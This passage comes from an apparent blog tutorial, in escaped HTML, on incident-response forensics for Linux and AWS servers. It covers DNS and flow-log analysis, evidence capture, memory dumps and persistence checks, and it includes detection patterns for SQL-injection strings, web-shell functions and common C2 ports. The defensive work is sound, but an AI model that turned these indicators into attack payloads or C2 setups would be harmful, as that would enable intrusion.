  
  
  4.3 DNS Query Forensics
&lt;/h3&gt;

&lt;p&gt;DNS is abused for data exfiltration, C2 communication, and DGA-based malware.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# If using systemd-resolved, query the DNS cache&lt;/span&gt;
resolvectl statistics

&lt;span class="c"&gt;# View recent DNS queries on the system (requires audit rule on DNS)&lt;/span&gt;
&lt;span class="c"&gt;# Set up DNS audit rule:&lt;/span&gt;
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /etc/resolv.conf &lt;span class="nt"&gt;-p&lt;/span&gt; wa &lt;span class="nt"&gt;-k&lt;/span&gt; dns_config_change

&lt;span class="c"&gt;# Capture and analyse live DNS queries with tcpdump&lt;/span&gt;
tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; port 53 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/dns_capture.pcap
&lt;span class="c"&gt;# Then analyse with Wireshark or tshark:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/dns_capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;

&lt;span class="c"&gt;# DNS-over-HTTPS bypass detection: look for DoH endpoints&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"dns.google&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;cloudflare-dns.com&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;1.1.1.1&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;8.8.8.8"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/nginx/access.log /var/log/syslog 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Check for DNS tunnelling (unusually long subdomain queries)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/dns.log | zeek-cut query | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'length($1) &amp;gt; 50'&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Look for high-frequency queries to a single domain (C2 polling)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/zeek/current/dns.log | zeek-cut query | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 AWS VPC Flow Log Analysis for C2 Identification
&lt;/h3&gt;

&lt;p&gt;VPC Flow Logs capture all IP traffic to/from your EC2 instances and are invaluable for detecting C2, lateral movement, and exfiltration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Enable VPC Flow Logs (if not already enabled)&lt;/span&gt;
aws ec2 create-flow-logs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-type&lt;/span&gt; VPC &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-ids&lt;/span&gt; vpc-YOUR_VPC_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--traffic-type&lt;/span&gt; ALL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-destination-type&lt;/span&gt; cloud-watch-logs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--log-group-name&lt;/span&gt; /aws/vpc/flowlogs &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--deliver-logs-permission-arn&lt;/span&gt; arn:aws:iam::ACCOUNT:role/FlowLogsRole

&lt;span class="c"&gt;# Query flow logs using AWS Athena (after configuring Athena table)&lt;/span&gt;
&lt;span class="c"&gt;# Find top talkers (potential exfiltration)&lt;/span&gt;
SELECT srcaddr, dstaddr, &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;bytes&lt;span class="o"&gt;)&lt;/span&gt; as total_bytes
FROM vpc_flow_logs
WHERE action &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'ACCEPT'&lt;/span&gt;
  AND dstaddr NOT LIKE &lt;span class="s1"&gt;'10.%'&lt;/span&gt;
  AND dstaddr NOT LIKE &lt;span class="s1"&gt;'172.16.%'&lt;/span&gt;
  AND dstaddr NOT LIKE &lt;span class="s1"&gt;'192.168.%'&lt;/span&gt;
GROUP BY srcaddr, dstaddr
ORDER BY total_bytes DESC
LIMIT 20&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c"&gt;# Find connections to suspicious ports commonly used by C2 frameworks&lt;/span&gt;
SELECT srcaddr, dstaddr, dstport, protocol, &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;packets&lt;span class="o"&gt;)&lt;/span&gt; as pkt_count
FROM vpc_flow_logs
WHERE dstport IN &lt;span class="o"&gt;(&lt;/span&gt;4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080&lt;span class="o"&gt;)&lt;/span&gt;
  AND action &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'ACCEPT'&lt;/span&gt;
GROUP BY srcaddr, dstaddr, dstport, protocol
ORDER BY pkt_count DESC&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c"&gt;# Detect port scanning (many destinations, low packet counts)&lt;/span&gt;
SELECT srcaddr, count&lt;span class="o"&gt;(&lt;/span&gt;distinct dstaddr&lt;span class="o"&gt;)&lt;/span&gt; as unique_dsts, &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;packets&lt;span class="o"&gt;)&lt;/span&gt; as total_pkts
FROM vpc_flow_logs
WHERE action &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'REJECT'&lt;/span&gt;
GROUP BY srcaddr
HAVING count&lt;span class="o"&gt;(&lt;/span&gt;distinct dstaddr&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 100
ORDER BY unique_dsts DESC&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c"&gt;# Identify periodic beaconing (C2 polling — regular intervals to same destination)&lt;/span&gt;
&lt;span class="c"&gt;# Look for consistent, low-byte connections to a single external IP&lt;/span&gt;
SELECT srcaddr, dstaddr, dstport,
       date_trunc&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'minute'&lt;/span&gt;, from_unixtime&lt;span class="o"&gt;(&lt;/span&gt;start&lt;span class="o"&gt;))&lt;/span&gt; as minute_bucket,
       count&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; as connections
FROM vpc_flow_logs
WHERE action &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'ACCEPT'&lt;/span&gt;
  AND dstaddr NOT LIKE &lt;span class="s1"&gt;'10.%'&lt;/span&gt;
GROUP BY srcaddr, dstaddr, dstport, date_trunc&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'minute'&lt;/span&gt;, from_unixtime&lt;span class="o"&gt;(&lt;/span&gt;start&lt;span class="o"&gt;))&lt;/span&gt;
HAVING count&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 1
ORDER BY connections DESC&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Step-by-Step Investigation Playbook
&lt;/h2&gt;

&lt;p&gt;When you suspect a compromise, &lt;strong&gt;do not panic and do not immediately shut the server down&lt;/strong&gt; — you may destroy forensic evidence. Follow this structured process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────────┐
│                  INCIDENT INVESTIGATION FLOW                    │
│                                                                 │
│  1. Confirm Indicators  →  2. Preserve Evidence                 │
│           ↓                        ↓                            │
│  3. Identify Access     →  4. Determine Attacker Actions        │
│     Vector                         ↓                            │
│           ↓                5. Check Persistence                 │
│  6. Scope Affected      ←          ↓                            │
│     Systems             ←  7. Reconstruct Timeline              │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 1 — Confirm Suspicious Indicators
&lt;/h3&gt;

&lt;p&gt;Before escalating, verify that what you are seeing is genuinely anomalous. Cross-reference against:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your deployment schedule (was that 3 AM login from your CI/CD pipeline?)&lt;/li&gt;
&lt;li&gt;IP allow-lists and team VPN ranges&lt;/li&gt;
&lt;li&gt;Recently onboarded engineers or contractors&lt;/li&gt;
&lt;li&gt;Any known penetration tests or red team engagements&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If after cross-referencing you cannot explain the activity, treat it as a confirmed incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Preserve Evidence
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;This is the most time-critical step.&lt;/strong&gt; Evidence can be overwritten, logs can rotate, and memory is volatile.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a forensics output directory&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/forensics &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/forensics

&lt;span class="c"&gt;# Capture running processes snapshot&lt;/span&gt;
ps auxf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; processes.txt

&lt;span class="c"&gt;# Capture active network connections&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulpn&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; network_connections.txt

&lt;span class="c"&gt;# Capture logged-in users&lt;/span&gt;
&lt;span class="nb"&gt;who&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; who.txt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; w &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; who.txt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; last &lt;span class="nt"&gt;-n&lt;/span&gt; 100 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; last_logins.txt

&lt;span class="c"&gt;# Dump current iptables rules&lt;/span&gt;
iptables-save &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; iptables_rules.txt

&lt;span class="c"&gt;# Capture all crontabs&lt;/span&gt;
crontab &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; root_cron.txt 2&amp;gt;/dev/null
&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: /etc/passwd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; all_crontabs.txt
  crontab &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; all_crontabs.txt
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Capture loaded kernel modules&lt;/span&gt;
lsmod &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; kernel_modules.txt

&lt;span class="c"&gt;# Copy critical log files&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; /var/log/auth.log ./ 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;cp&lt;/span&gt; /var/log/secure ./ 2&amp;gt;/dev/null
&lt;span class="nb"&gt;cp&lt;/span&gt; /var/log/syslog ./ 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Hash all collected files for chain-of-custody&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; evidence_hashes.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Memory acquisition with LiME (Linux Memory Extractor):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Unlike &lt;code&gt;avml&lt;/code&gt; (which is Azure-specific and requires pre-deployment), LiME is a loadable kernel module that works across all Linux distributions and can be compiled on-demand.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ── Install LiME ───────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# Prerequisites&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;linux-headers-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; build-essential git &lt;span class="nt"&gt;-y&lt;/span&gt;  &lt;span class="c"&gt;# Debian/Ubuntu&lt;/span&gt;
&lt;span class="c"&gt;# or: yum install kernel-devel gcc git -y                      # RHEL/CentOS&lt;/span&gt;

&lt;span class="c"&gt;# Clone and build LiME&lt;/span&gt;
git clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME
&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/LiME/src
make

&lt;span class="c"&gt;# This produces a .ko kernel module, e.g.: lime-5.15.0-generic.ko&lt;/span&gt;

&lt;span class="c"&gt;# ── Acquire memory dump ────────────────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# Option A: Dump to a local file&lt;/span&gt;
insmod lime-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;.ko &lt;span class="s2"&gt;"path=/tmp/forensics/memory.lime format=lime"&lt;/span&gt;

&lt;span class="c"&gt;# Option B: Dump directly over the network to your forensics workstation&lt;/span&gt;
&lt;span class="c"&gt;# On your workstation: nc -l -p 4242 &amp;gt; memory.lime&lt;/span&gt;
&lt;span class="c"&gt;# On the target server:&lt;/span&gt;
insmod lime-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;.ko &lt;span class="s2"&gt;"path=tcp:4242 format=lime"&lt;/span&gt;

&lt;span class="c"&gt;# Unload LiME after acquisition&lt;/span&gt;
rmmod lime

&lt;span class="c"&gt;# ── Analyse the memory dump ────────────────────────────────────────&lt;/span&gt;
&lt;span class="c"&gt;# Use Volatility3 on your forensics workstation&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;volatility3

&lt;span class="c"&gt;# List processes from memory dump&lt;/span&gt;
vol &lt;span class="nt"&gt;-f&lt;/span&gt; memory.lime linux.pslist.PsList

&lt;span class="c"&gt;# Find network connections in memory&lt;/span&gt;
vol &lt;span class="nt"&gt;-f&lt;/span&gt; memory.lime linux.netstat.Netstat

&lt;span class="c"&gt;# Check for hidden processes (rootkit detection)&lt;/span&gt;
vol &lt;span class="nt"&gt;-f&lt;/span&gt; memory.lime linux.pstree.PsTree

&lt;span class="c"&gt;# Extract bash command history from memory&lt;/span&gt;
vol &lt;span class="nt"&gt;-f&lt;/span&gt; memory.lime linux.bash.Bash

&lt;span class="c"&gt;# Find injected code / malicious shared libraries&lt;/span&gt;
vol &lt;span class="nt"&gt;-f&lt;/span&gt; memory.lime linux.library_list.LibraryList
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Cloud best practice:&lt;/strong&gt; Before acquiring memory, &lt;strong&gt;take an EBS snapshot / cloud disk snapshot&lt;/strong&gt;. This preserves the entire disk state and is your fastest path to a forensic copy. A disk snapshot takes seconds; LiME compilation may take minutes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 3 — Identify the Initial Access Vector
&lt;/h3&gt;

&lt;p&gt;How did they get in? Common vectors and where to look for each:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK&lt;/th&gt;
&lt;th&gt;Where to Look&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Brute-forced SSH&lt;/td&gt;
&lt;td&gt;T1110.001&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;auth.log&lt;/code&gt; — many failed logins then success&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploited web application&lt;/td&gt;
&lt;td&gt;T1190&lt;/td&gt;
&lt;td&gt;Web server logs — unusual POST requests, 500 spikes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stolen credentials / leaked key&lt;/td&gt;
&lt;td&gt;T1078&lt;/td&gt;
&lt;td&gt;CloudTrail / IAM logs — access from unexpected IPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Supply chain (compromised dependency)&lt;/td&gt;
&lt;td&gt;T1195&lt;/td&gt;
&lt;td&gt;Application logs — unusual library behaviour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Phishing → credential theft&lt;/td&gt;
&lt;td&gt;T1566&lt;/td&gt;
&lt;td&gt;Email logs, SIEM identity events&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched CVE&lt;/td&gt;
&lt;td&gt;T1203&lt;/td&gt;
&lt;td&gt;Check versions: &lt;code&gt;nginx -v&lt;/code&gt;, &lt;code&gt;openssl version&lt;/code&gt;, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed cloud storage&lt;/td&gt;
&lt;td&gt;T1530&lt;/td&gt;
&lt;td&gt;S3/GCS access logs — &lt;code&gt;GetObject&lt;/code&gt; from unknown IPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Misconfigured metadata service (SSRF)&lt;/td&gt;
&lt;td&gt;T1552.005&lt;/td&gt;
&lt;td&gt;SSRF logs, cloud audit logs for credential usage&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check SSH login history for the first suspicious successful login&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"YOUR_KNOWN_IPS"&lt;/span&gt;

&lt;span class="c"&gt;# Check for web exploitation via suspicious HTTP payloads&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"(UNION|SELECT|DROP|exec&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|base64_decode|cmd=|exec=)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /var/log/nginx/access.log

&lt;span class="c"&gt;# Find recently created files — may reveal dropped payloads&lt;/span&gt;
find / &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/sys/*"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;log$"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4 — Determine Attacker Actions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check bash history for all users&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.bash_history
&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: /etc/passwd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;eval echo&lt;/span&gt; &lt;span class="s2"&gt;"~&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$home&lt;/span&gt;&lt;span class="s2"&gt;/.bash_history"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== History for &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$home&lt;/span&gt;&lt;span class="s2"&gt;/.bash_history"&lt;/span&gt;
  &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# Check if history was cleared (empty history with recent mtime = suspicious)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /root/.bash_history

&lt;span class="c"&gt;# Check recently accessed files&lt;/span&gt;
find / &lt;span class="nt"&gt;-atime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-not&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s2"&gt;"/proc/*"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Check audit logs for executed commands (if auditd was running)&lt;/span&gt;
ausearch &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; execve &lt;span class="nt"&gt;--start&lt;/span&gt; recent

&lt;span class="c"&gt;# Review outbound connections that occurred&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"ESTABLISHED&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;SYN_SENT"&lt;/span&gt; /tmp/forensics/network_connections.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5 — Check Persistence Mechanisms
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ── SSH Keys ──────────────────────────────────────────────────────&lt;/span&gt;
find /home /root /etc &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"authorized_keys"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== {} ==="&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;

&lt;span class="c"&gt;# ── Cron Jobs ─────────────────────────────────────────────────────&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron&lt;span class="k"&gt;*&lt;/span&gt; /var/spool/cron/crontabs/ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/cron.d/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="c"&gt;# ── Systemd Services ──────────────────────────────────────────────&lt;/span&gt;
systemctl list-units &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;service &lt;span class="nt"&gt;--state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;running
find /etc/systemd/system/ &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.service"&lt;/span&gt; &lt;span class="nt"&gt;-newer&lt;/span&gt; /etc/passwd

&lt;span class="c"&gt;# ── Web Shells ────────────────────────────────────────────────────&lt;/span&gt;
find /var/www /srv /opt &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="s2"&gt;"eval&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;system&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;exec&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;base64_decode&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;passthru"&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;

